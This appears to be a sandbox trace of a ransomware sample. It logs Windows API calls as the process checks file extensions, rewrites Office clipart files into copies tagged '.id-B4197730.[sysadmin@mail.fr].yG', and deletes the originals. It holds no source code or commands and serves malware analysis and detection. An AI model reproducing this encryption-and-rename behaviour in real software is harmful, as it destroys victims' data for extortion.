	[0146.398] lstrlenW (lpString=".doc") returned 4
	[0146.398] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0146.398] lstrlenW (lpString=".docx") returned 5
	[0146.398] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0146.398] lstrlenW (lpString=".pdf") returned 4
	[0146.398] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0146.398] lstrlenW (lpString=".xls") returned 4
	[0146.398] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0146.398] lstrlenW (lpString=".xlsx") returned 5
	[0146.398] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0146.398] lstrlenW (lpString=".ppt") returned 4
	[0146.398] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0146.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0146.398] lstrlenW (lpString=".zip") returned 4
	[0146.398] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0146.398] lstrlenW (lpString=".rar") returned 4
	[0146.399] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0146.399] lstrlenW (lpString=".bz2") returned 4
	[0146.399] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0146.399] lstrlenW (lpString=".7z") returned 3
	[0146.399] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0146.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0146.399] lstrlenW (lpString=".dbf") returned 4
	[0146.399] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0146.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0146.399] lstrlenW (lpString=".1cd") returned 4
	[0146.399] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0146.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0146.400] lstrlenW (lpString=".jpg") returned 4
	[0146.400] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0146.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0146.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0146.400] lstrlenW (lpString=".doc") returned 4
	[0146.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0146.400] lstrlenW (lpString=".docx") returned 5
	[0146.400] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0146.400] lstrlenW (lpString=".pdf") returned 4
	[0146.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0146.400] lstrlenW (lpString=".xls") returned 4
	[0146.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0146.400] lstrlenW (lpString=".xlsx") returned 5
	[0146.400] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0146.400] lstrlenW (lpString=".ppt") returned 4
	[0146.400] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0146.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0146.400] lstrlenW (lpString=".zip") returned 4
	[0146.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0146.400] lstrlenW (lpString=".rar") returned 4
	[0146.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0146.400] lstrlenW (lpString=".bz2") returned 4
	[0146.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0146.400] lstrlenW (lpString=".7z") returned 3
	[0146.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0146.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0146.400] lstrlenW (lpString=".dbf") returned 4
	[0146.400] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0146.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0146.401] lstrlenW (lpString=".1cd") returned 4
	[0146.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0146.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0146.401] lstrlenW (lpString=".jpg") returned 4
	[0146.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0146.401] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0146.401] lstrlenW (lpString="FD00306_.WMF") returned 12
	[0146.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0146.404] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=46814) returned 1
	[0146.404] CloseHandle (hObject=0x544) returned 1
	[0146.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x220
	[0146.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0146.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0146.405] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.405] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0146.405] GetLastError () returned 0x0
	[0146.405] ReadFile (in: hFile=0x544, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0xb6de, lpOverlapped=0x0) returned 1
	[0146.420] WriteFile (in: hFile=0x548, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xb6e0, lpOverlapped=0x0) returned 1
	[0146.422] ReadFile (in: hFile=0x544, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0146.423] WriteFile (in: hFile=0x548, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0146.423] SetEndOfFile (hFile=0x548) returned 1
	[0146.432] CloseHandle (hObject=0x548) returned 1
	[0146.434] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.434] SetEndOfFile (hFile=0x544) returned 1
	[0146.463] CloseHandle (hObject=0x544) returned 1
	[0146.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0146.464] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 1
	[0146.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0146.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0146.465] lstrlenW (lpString=".doc") returned 4
	[0146.465] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0146.465] lstrlenW (lpString=".docx") returned 5
	[0146.465] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0146.465] lstrlenW (lpString=".pdf") returned 4
	[0146.465] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0146.465] lstrlenW (lpString=".xls") returned 4
	[0146.465] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0146.465] lstrlenW (lpString=".xlsx") returned 5
	[0146.465] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0146.465] lstrlenW (lpString=".ppt") returned 4
	[0146.465] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0146.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0146.465] lstrlenW (lpString=".zip") returned 4
	[0146.465] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0146.466] lstrlenW (lpString=".rar") returned 4
	[0146.466] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0146.466] lstrlenW (lpString=".bz2") returned 4
	[0146.466] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0146.466] lstrlenW (lpString=".7z") returned 3
	[0146.466] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0146.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0146.466] lstrlenW (lpString=".dbf") returned 4
	[0146.466] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0146.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0146.466] lstrlenW (lpString=".1cd") returned 4
	[0146.466] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0146.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0146.466] lstrlenW (lpString=".jpg") returned 4
	[0146.466] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0146.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0146.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0146.466] lstrlenW (lpString=".doc") returned 4
	[0146.466] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0146.466] lstrlenW (lpString=".docx") returned 5
	[0146.466] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0146.466] lstrlenW (lpString=".pdf") returned 4
	[0146.466] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0146.466] lstrlenW (lpString=".xls") returned 4
	[0146.466] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0146.467] lstrlenW (lpString=".xlsx") returned 5
	[0146.467] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0146.467] lstrlenW (lpString=".ppt") returned 4
	[0146.467] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0146.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0146.467] lstrlenW (lpString=".zip") returned 4
	[0146.467] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0146.467] lstrlenW (lpString=".rar") returned 4
	[0146.467] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0146.467] lstrlenW (lpString=".bz2") returned 4
	[0146.467] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0146.467] lstrlenW (lpString=".7z") returned 3
	[0146.467] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0146.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0146.467] lstrlenW (lpString=".dbf") returned 4
	[0146.467] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0146.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0146.467] lstrlenW (lpString=".1cd") returned 4
	[0146.467] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0146.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0146.467] lstrlenW (lpString=".jpg") returned 4
	[0146.467] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0146.467] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0146.467] lstrlenW (lpString="FD00336_.WMF") returned 12
	[0146.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0146.498] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=6068) returned 1
	[0146.498] CloseHandle (hObject=0x4ac) returned 1
	[0146.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x220
	[0146.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0146.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0146.499] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.499] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0146.500] GetLastError () returned 0x0
	[0146.500] ReadFile (in: hFile=0x4ac, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x17b4, lpOverlapped=0x0) returned 1
	[0146.520] WriteFile (in: hFile=0x530, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x17c0, lpOverlapped=0x0) returned 1
	[0146.521] ReadFile (in: hFile=0x4ac, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0146.521] WriteFile (in: hFile=0x530, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0146.521] SetEndOfFile (hFile=0x530) returned 1
	[0146.522] CloseHandle (hObject=0x530) returned 1
	[0146.522] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.522] SetEndOfFile (hFile=0x4ac) returned 1
	[0146.525] CloseHandle (hObject=0x4ac) returned 1
	[0146.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0146.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 1
	[0146.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0146.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0146.817] lstrlenW (lpString=".doc") returned 4
	[0146.818] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0146.818] lstrlenW (lpString=".docx") returned 5
	[0146.818] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0146.818] lstrlenW (lpString=".pdf") returned 4
	[0146.818] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0146.818] lstrlenW (lpString=".xls") returned 4
	[0146.818] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0146.818] lstrlenW (lpString=".xlsx") returned 5
	[0146.818] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0146.818] lstrlenW (lpString=".ppt") returned 4
	[0146.818] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0146.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0146.818] lstrlenW (lpString=".zip") returned 4
	[0146.818] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0146.818] lstrlenW (lpString=".rar") returned 4
	[0146.818] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0146.818] lstrlenW (lpString=".bz2") returned 4
	[0146.818] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0146.818] lstrlenW (lpString=".7z") returned 3
	[0146.819] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0146.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0146.819] lstrlenW (lpString=".dbf") returned 4
	[0146.819] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0146.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0146.819] lstrlenW (lpString=".1cd") returned 4
	[0146.819] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0146.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0146.819] lstrlenW (lpString=".jpg") returned 4
	[0146.819] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0146.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0146.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0146.819] lstrlenW (lpString=".doc") returned 4
	[0146.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0146.819] lstrlenW (lpString=".docx") returned 5
	[0146.819] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0146.819] lstrlenW (lpString=".pdf") returned 4
	[0146.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0146.820] lstrlenW (lpString=".xls") returned 4
	[0146.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0146.820] lstrlenW (lpString=".xlsx") returned 5
	[0146.820] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0146.820] lstrlenW (lpString=".ppt") returned 4
	[0146.820] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0146.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0146.820] lstrlenW (lpString=".zip") returned 4
	[0146.820] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0146.820] lstrlenW (lpString=".rar") returned 4
	[0146.820] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0146.820] lstrlenW (lpString=".bz2") returned 4
	[0146.820] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0146.820] lstrlenW (lpString=".7z") returned 3
	[0146.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0146.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0146.820] lstrlenW (lpString=".dbf") returned 4
	[0146.820] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0146.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0146.821] lstrlenW (lpString=".1cd") returned 4
	[0146.821] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0146.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0146.821] lstrlenW (lpString=".jpg") returned 4
	[0146.821] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0146.821] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0146.821] lstrlenW (lpString="FD00419_.WMF") returned 12
	[0146.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0146.822] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=16396) returned 1
	[0146.822] CloseHandle (hObject=0x540) returned 1
	[0146.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x220
	[0146.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0146.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0146.823] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.823] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0146.824] GetLastError () returned 0x0
	[0146.824] ReadFile (in: hFile=0x540, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x400c, lpOverlapped=0x0) returned 1
	[0146.844] WriteFile (in: hFile=0x530, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x4010, lpOverlapped=0x0) returned 1
	[0146.846] ReadFile (in: hFile=0x540, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0146.846] WriteFile (in: hFile=0x530, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0146.846] SetEndOfFile (hFile=0x530) returned 1
	[0146.846] CloseHandle (hObject=0x530) returned 1
	[0146.847] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.847] SetEndOfFile (hFile=0x540) returned 1
	[0146.850] CloseHandle (hObject=0x540) returned 1
	[0146.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0146.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 1
	[0146.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
